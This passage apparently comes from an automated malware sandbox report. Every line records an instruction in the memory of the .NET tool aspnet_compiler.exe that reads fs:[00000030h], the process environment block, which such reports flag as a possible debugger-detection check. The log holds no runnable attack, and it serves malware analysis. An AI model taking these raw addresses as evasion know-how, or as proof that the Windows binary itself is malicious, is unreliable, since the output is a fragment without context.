Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107C156 mov eax, dword ptr fs:[00000030h]	5_2_0107C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01114144 mov eax, dword ptr fs:[00000030h]	5_2_01114144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01114144 mov eax, dword ptr fs:[00000030h]	5_2_01114144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01114144 mov ecx, dword ptr fs:[00000030h]	5_2_01114144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01114144 mov eax, dword ptr fs:[00000030h]	5_2_01114144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01114144 mov eax, dword ptr fs:[00000030h]	5_2_01114144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01087152 mov eax, dword ptr fs:[00000030h]	5_2_01087152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01086154 mov eax, dword ptr fs:[00000030h]	5_2_01086154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01086154 mov eax, dword ptr fs:[00000030h]	5_2_01086154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01119179 mov eax, dword ptr fs:[00000030h]	5_2_01119179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172 mov eax, dword ptr fs:[00000030h]	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C0185 mov eax, dword ptr fs:[00000030h]	5_2_010C0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110019F mov eax, dword ptr fs:[00000030h]	5_2_0110019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110019F mov eax, dword ptr fs:[00000030h]	5_2_0110019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110019F mov eax, dword ptr fs:[00000030h]	5_2_0110019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110019F mov eax, dword ptr fs:[00000030h]	5_2_0110019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A197 mov eax, dword ptr fs:[00000030h]	5_2_0107A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A197 mov eax, dword ptr fs:[00000030h]	5_2_0107A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A197 mov eax, dword ptr fs:[00000030h]	5_2_0107A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113C188 mov eax, dword ptr fs:[00000030h]	5_2_0113C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113C188 mov eax, dword ptr fs:[00000030h]	5_2_0113C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D7190 mov eax, dword ptr fs:[00000030h]	5_2_010D7190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011311A4 mov eax, dword ptr fs:[00000030h]	5_2_011311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011311A4 mov eax, dword ptr fs:[00000030h]	5_2_011311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011311A4 mov eax, dword ptr fs:[00000030h]	5_2_011311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011311A4 mov eax, dword ptr fs:[00000030h]	5_2_011311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109B1B0 mov eax, dword ptr fs:[00000030h]	5_2_0109B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011461C3 mov eax, dword ptr fs:[00000030h]	5_2_011461C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011461C3 mov eax, dword ptr fs:[00000030h]	5_2_011461C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BD1D0 mov eax, dword ptr fs:[00000030h]	5_2_010BD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BD1D0 mov ecx, dword ptr fs:[00000030h]	5_2_010BD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011551CB mov eax, dword ptr fs:[00000030h]	5_2_011551CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A51EF mov eax, dword ptr fs:[00000030h]	5_2_010A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010851ED mov eax, dword ptr fs:[00000030h]	5_2_010851ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011561E5 mov eax, dword ptr fs:[00000030h]	5_2_011561E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B01F8 mov eax, dword ptr fs:[00000030h]	5_2_010B01F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E016 mov eax, dword ptr fs:[00000030h]	5_2_0109E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E016 mov eax, dword ptr fs:[00000030h]	5_2_0109E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E016 mov eax, dword ptr fs:[00000030h]	5_2_0109E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E016 mov eax, dword ptr fs:[00000030h]	5_2_0109E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A020 mov eax, dword ptr fs:[00000030h]	5_2_0107A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107C020 mov eax, dword ptr fs:[00000030h]	5_2_0107C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114903E mov eax, dword ptr fs:[00000030h]	5_2_0114903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114903E mov eax, dword ptr fs:[00000030h]	5_2_0114903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114903E mov eax, dword ptr fs:[00000030h]	5_2_0114903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114903E mov eax, dword ptr fs:[00000030h]	5_2_0114903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112705E mov ebx, dword ptr fs:[00000030h]	5_2_0112705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112705E mov eax, dword ptr fs:[00000030h]	5_2_0112705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01082050 mov eax, dword ptr fs:[00000030h]	5_2_01082050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB052 mov eax, dword ptr fs:[00000030h]	5_2_010AB052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155060 mov eax, dword ptr fs:[00000030h]	5_2_01155060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov ecx, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091070 mov eax, dword ptr fs:[00000030h]	5_2_01091070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AC073 mov eax, dword ptr fs:[00000030h]	5_2_010AC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD070 mov ecx, dword ptr fs:[00000030h]	5_2_010FD070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108208A mov eax, dword ptr fs:[00000030h]	5_2_0108208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107D08D mov eax, dword ptr fs:[00000030h]	5_2_0107D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B909C mov eax, dword ptr fs:[00000030h]	5_2_010B909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AD090 mov eax, dword ptr fs:[00000030h]	5_2_010AD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AD090 mov eax, dword ptr fs:[00000030h]	5_2_010AD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01085096 mov eax, dword ptr fs:[00000030h]	5_2_01085096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011460B8 mov eax, dword ptr fs:[00000030h]	5_2_011460B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011460B8 mov ecx, dword ptr fs:[00000030h]	5_2_011460B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov ecx, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov ecx, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov ecx, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov ecx, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0 mov eax, dword ptr fs:[00000030h]	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011550D9 mov eax, dword ptr fs:[00000030h]	5_2_011550D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011020DE mov eax, dword ptr fs:[00000030h]	5_2_011020DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD0C0 mov eax, dword ptr fs:[00000030h]	5_2_010FD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD0C0 mov eax, dword ptr fs:[00000030h]	5_2_010FD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A90DB mov eax, dword ptr fs:[00000030h]	5_2_010A90DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010880E9 mov eax, dword ptr fs:[00000030h]	5_2_010880E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107A0E3 mov ecx, dword ptr fs:[00000030h]	5_2_0107A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A50E4 mov eax, dword ptr fs:[00000030h]	5_2_010A50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A50E4 mov ecx, dword ptr fs:[00000030h]	5_2_010A50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107C0F0 mov eax, dword ptr fs:[00000030h]	5_2_0107C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C20F0 mov ecx, dword ptr fs:[00000030h]	5_2_010C20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA30B mov eax, dword ptr fs:[00000030h]	5_2_010BA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA30B mov eax, dword ptr fs:[00000030h]	5_2_010BA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BA30B mov eax, dword ptr fs:[00000030h]	5_2_010BA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107C310 mov ecx, dword ptr fs:[00000030h]	5_2_0107C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A0310 mov ecx, dword ptr fs:[00000030h]	5_2_010A0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110930B mov eax, dword ptr fs:[00000030h]	5_2_0110930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110930B mov eax, dword ptr fs:[00000030h]	5_2_0110930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110930B mov eax, dword ptr fs:[00000030h]	5_2_0110930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AF32A mov eax, dword ptr fs:[00000030h]	5_2_010AF32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01077330 mov eax, dword ptr fs:[00000030h]	5_2_01077330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114132D mov eax, dword ptr fs:[00000030h]	5_2_0114132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114132D mov eax, dword ptr fs:[00000030h]	5_2_0114132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114A352 mov eax, dword ptr fs:[00000030h]	5_2_0114A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107D34C mov eax, dword ptr fs:[00000030h]	5_2_0107D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107D34C mov eax, dword ptr fs:[00000030h]	5_2_0107D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov eax, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov eax, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov eax, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov ecx, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov eax, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0110035C mov eax, dword ptr fs:[00000030h]	5_2_0110035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155341 mov eax, dword ptr fs:[00000030h]	5_2_01155341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079353 mov eax, dword ptr fs:[00000030h]	5_2_01079353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079353 mov eax, dword ptr fs:[00000030h]	5_2_01079353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01102349 mov eax, dword ptr fs:[00000030h]	5_2_01102349
